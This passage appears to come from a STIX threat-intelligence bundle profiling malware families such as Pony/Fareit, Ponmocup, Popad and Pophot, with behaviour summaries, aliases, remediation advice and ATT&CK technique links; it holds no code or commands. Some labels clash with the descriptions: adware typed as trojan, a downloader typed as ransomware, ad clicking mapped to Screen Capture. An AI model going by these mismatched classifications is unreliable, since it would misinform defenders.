instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pondfull infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pondfull executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pondfull frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pondfull",
        "Downloader.Pondfull",
        "Win32/Pondfull"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pondfull",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pondfull"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f4875d2-3ffc-5b28-9c1b-cc2d3bc946cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d33fa4f-6578-5132-a785-48d874501457",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pondfull exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--013febdf-5020-5c00-b15f-73586af84bc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d33fa4f-6578-5132-a785-48d874501457",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pondfull exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4b61a19-fe66-5366-a6d5-3e60943f4e98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d33fa4f-6578-5132-a785-48d874501457",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pondfull exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c6b80aa-dc23-5b3b-babb-a6732617057a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ponmocup",
      "description": "Trojan:Win32/Ponmocup (also known as Vundo or Virtumonde) is one of the most sophisticated, longest-running, and massive botnets in history. Active for over a decade and infecting millions of machines globally, Ponmocup represents a masterclass in stealth and modular malware architecture. It was not designed for noisy attacks like DDoS; instead, it operated silently, primarily functioning as a massive, distributed proxy network for cybercriminals, while simultaneously harvesting credentials and injecting highly targeted, localized advertisements.<br><br><b>Understanding the Ponmocup Botnet</b><br>To an end-user, a Ponmocup infection is designed to be completely invisible, carefully avoiding CPU spikes or obvious system instability. For a security analyst, detecting Ponmocup is incredibly difficult due to its heavy reliance on rootkit techniques and custom obfuscation. The botnet operates on a highly compartmentalized, plugin-based architecture, allowing the operators to deploy over 4,000 distinct, encrypted modules to infected hosts depending on their geographic location or system profile.<br><br><b>Execution, Stealth, and Modular Architecture</b><br>Ponmocup was historically distributed via drive-by downloads (`T1189`), exploiting Java or Flash vulnerabilities, or bundled in fake codecs. Upon execution, the initial dropper acts as a loader. It establishes profound persistence, often infecting the Master Boot Record (MBR) (`T1542.003`) or heavily patching system DLLs (`explorer.exe`, `winlogon.exe`) in memory to ensure it runs before security software (`T1055.001`). The core bot engine is entirely encrypted and runs only in memory, never touching the disk (`T1027.002`). It communicates with a massive, highly resilient C2 infrastructure (often utilizing Fast-Flux DNS) to download encrypted plugins (`T1105`). These plugins perform various tasks: acting as a SOCKS proxy (`T1090`) to hide the tracks of other hackers, stealing FTP and browser credentials (`T1555`), or silently clicking on hidden ads to generate revenue (`T1113`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is profound, long-term compromise and the enlistment of the host into a global cybercrime network. Host-based IoCs are rare in standard AV; advanced EDR is required to detect the complex API hooking and memory injection techniques used by the modules. Network IoCs are the most reliable indicator: identifying persistent, encrypted beaconing traffic to known Ponmocup Fast-Flux domains, or detecting the workstation acting as an unauthorized proxy server relaying traffic for external IP addresses. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ponmocup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ponmocup"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19276431-d0a6-57e2-b0cd-a7f2bb626abc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c6b80aa-dc23-5b3b-babb-a6732617057a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponmocup exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Injecting into system processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b960c4f6-30e7-5f10-a888-87ecebe81237",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c6b80aa-dc23-5b3b-babb-a6732617057a",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponmocup exhibits technique T1542.003 (Bootkit (MBR Infection for persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af8e7169-3af4-5d7b-af4a-1fcff3729545",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c6b80aa-dc23-5b3b-babb-a6732617057a",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponmocup exhibits technique T1090 (Proxy (Acting as a SOCKS proxy for cybercriminals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfc5bea9-a3d5-5a31-b2f9-efa872ea282b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c6b80aa-dc23-5b3b-babb-a6732617057a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponmocup exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Running entirely in memory))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d238fe81-836c-55d5-8bc9-72783c875ba8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pontoeb",
      "description": "<h3>Executive Summary</h3>\nPontoeb is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate browser enhancement, coupon finder, or system utility. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPontoeb relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Pontoeb frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Pontoeb is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Pontoeb",
        "PUP.Pontoeb",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pontoeb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pontoeb"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dc21ee4-7dab-5fef-8155-092cd19598d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d238fe81-836c-55d5-8bc9-72783c875ba8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pontoeb exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20b91718-351a-5ca8-8d71-a141619fd92b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d238fe81-836c-55d5-8bc9-72783c875ba8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pontoeb exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e111652d-ffc3-5cde-ac11-72e8d263ce60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d238fe81-836c-55d5-8bc9-72783c875ba8",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pontoeb exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pony",
      "description": "Pony (cataloged across cybersecurity authorities as Fareit, Siplog, Trojan:Win32/Fareit, and PWS:Win32/Fareit) is one of the most prolific commodity information stealers and trojan loaders in malware history. First observed in 2011, Pony was developed in C and assembly language, resulting in an exceptionally compact footprint (often under 50 KB). Pony specializes in harvesting stored credentials from over 100 applications, including major web browsers (Chrome, Firefox, Internet Explorer/Edge), FTP clients (FileZilla, Total Commander, WinSCP), email clients (Outlook, Thunderbird), and cryptocurrency wallet storage. In addition to mass credential harvesting, Pony functions as a versatile loader, downloading secondary payloads such as banking trojans (ZeuS, Gozi, Dridex) and ransomware onto compromised endpoints. Threat actors widely distribute Pony through malicious spam campaigns weaponized with Microsoft Office exploits such as CVE-2017-0199, CVE-2017-11882, and CVE-2012-0158. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Fareit",
        "Siplog",
        "Trojan:Win32/Fareit",
        "PWS:Win32/Fareit",
        "Pony Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pony",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pony"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f54af4bf-c4f6-5804-9165-1af8df484b18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83929ae4-f753-5b66-8b05-9f626f7aa37b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1552.001 (Unsecured Credentials: Credentials In Files)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f2aa0dd-8161-553b-a3af-064625d7328e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44b1d4b3-016e-5d67-9926-450a9c16f62f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c290bfdd-d8a7-54ed-84c2-c75e36a2c2f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b9286fd-0a6f-5100-9ea5-2ac2b3e32137",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fe378b8-a61a-57c6-bab9-e95bae691901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54ccc91d-098f-5868-96f1-bd3fdb60a413",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pony exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ponystealer",
      "description": "Trojan:Win32/PonyStealer (universally recognized in cyber threat intelligence as Pony or Fareit) is a foundational credential theft trojan and stage-one botnet loader that dominated the crimeware ecosystem from 2011 onward. Engineered with specialized extraction modules capable of decrypting stored credentials across more than 100 applications\u2014including Google Chrome, Mozilla Firefox, Microsoft Outlook, WinSCP, FileZilla, VPN clients, and cryptocurrency wallet.dat stores\u2014Pony served as the initial access vehicle for historic malware syndicates. Distributed through high-volume malspam runs utilizing Necurs and Cutwail botnets, Pony packs harvested account databases into compressed HTTP POST beacons directed to its centralized administrative interface ('Pony Panel') before staging secondary ransomware and banking trojans such as Locky, ZeuS, and Dyreza. (Observed samples in benchmark: 374)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Pony",
        "Pony Stealer",
        "Trojan:Win32/PonyStealer",
        "Pony Loader",
        "PWS-Pony",
        "Fareit-Pony",
        "Trojan.Pony"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ponystealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ponystealer"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-205A"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f251bd1b-5be3-51e4-bb53-79a40e15c08e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01330c04-a72e-5702-b70d-f3886d3d8317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1552.001 (Credentials In Files)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54d01c7f-c920-5e42-b52e-dc178b5c7027",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6439353-8227-554a-bd23-c7498aa6b265",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--901a5d0c-80b4-5058-81d8-0f3a877c0070",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce04b585-fbb3-538a-abc6-d8fd76eb0c9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--815e9351-a58b-5ec8-b503-5322af505cf2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa4c143c-456f-5942-b669-c5787b1c969c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ponystealer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a64cad72-1e09-5ef7-a749-f66d88e1f9ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Popad",
      "description": "<h3>Executive Summary</h3>\nPopad is a pervasive family of Adware engineered to aggressively monetize an infected user's web browsing activity. True to its name, Popad specializes in injecting highly intrusive pop-up and pop-under advertisements into the user's web browser, regardless of the website they are currently visiting. This malware degrades system performance, disrupts workflows, and poses a significant threat to end-user privacy within enterprise environments.\n\n<h3>Distribution and Technical Behavior</h3>\nPopad is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake software updates (e.g., Flash or Java), or media players downloaded from untrustworthy, third-party software portals.\n\nOnce executed, Popad integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Aggressive Ad Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept web traffic. It overlays legitimate websites with disruptive pop-up and pop-under ads, often opening entirely new browser windows without user interaction.</li>\n<li><strong>Browser Hijacking:</strong> Popad may alter the browser's default search engine and homepage to redirect all search traffic through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Telemetry and Tracking:</strong> It continuously tracks the user's browsing history and clickstreams, transmitting this telemetry to remote servers to serve highly targeted, albeit unwanted, advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Popad does not actively encrypt files or steal credentials like a banking trojan, it introduces massive operational friction. Furthermore, the injected pop-up advertisements are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks (like fake tech support scams or exploit kit redirections) that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Popad executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Popad",
        "PUP.Popad",
        "BrowserModifier:Win32/Popad"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Popad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/popad"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e7cc4b0-94ff-543d-a730-70de11cb128e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a64cad72-1e09-5ef7-a749-f66d88e1f9ee",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popad exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c8501c0-8807-5aed-874b-f411ed3f2505",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a64cad72-1e09-5ef7-a749-f66d88e1f9ee",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popad exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ae3a46e-549e-5421-b9b9-5ed1200ce248",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a64cad72-1e09-5ef7-a749-f66d88e1f9ee",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Popad exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9c71f50-e5b8-538a-a0b6-2ecc1f460a22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pophot",
      "description": "Trojan:Win32/Pophot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pophot</b><br>To an end-user, a Pophot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pophot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pophot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pophot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network 